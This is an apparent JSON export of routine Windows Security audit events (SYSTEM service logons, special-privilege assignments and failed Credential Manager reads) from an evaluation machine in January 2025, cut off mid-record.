{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:36.185686Z"}},"EventRecordID":21432,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:36.185692Z"}},"EventRecordID":21433,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:36.772716Z"}},"EventRecordID":21434,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:36.772721Z"}},"EventRecordID":21435,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:40.460501Z"}},"EventRecordID":21436,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftOffice16_Data:live:cid=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:36.175470Z","ClientProcessId":9204}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:33.576016Z"}},"EventRecordID":21437,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:33.576028Z"}},"EventRecordID":21438,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.018269Z"}},"EventRecordID":21439,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.018275Z"}},"EventRecordID":21440,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.250863Z"}},"EventRecordID":21441,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.250918Z"}},"EventRecordID":21442,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.251340Z"}},"EventRecordID":21443,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.253172Z"}},"EventRecordID":21444,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.253216Z"}},"EventRecordID":21445,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.253563Z"}},"EventRecordID":21446,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.257778Z"}},"EventRecordID":21447,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.257827Z"}},"EventRecordID":21448,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.258026Z"}},"EventRecordID":21449,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.693784Z"}},"EventRecordID":21450,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.698153Z"}},"EventRecordID":21451,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.699672Z"}},"EventRecordID":21452,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.699733Z"}},"EventRecordID":21453,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.729731Z"}},"EventRecordID":21454,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.733369Z"}},"EventRecordID":21455,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:06:24.527480Z","ClientProcessId":4712}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:37.735056Z"}},"EventRecordID":21456,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x5026c","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"Co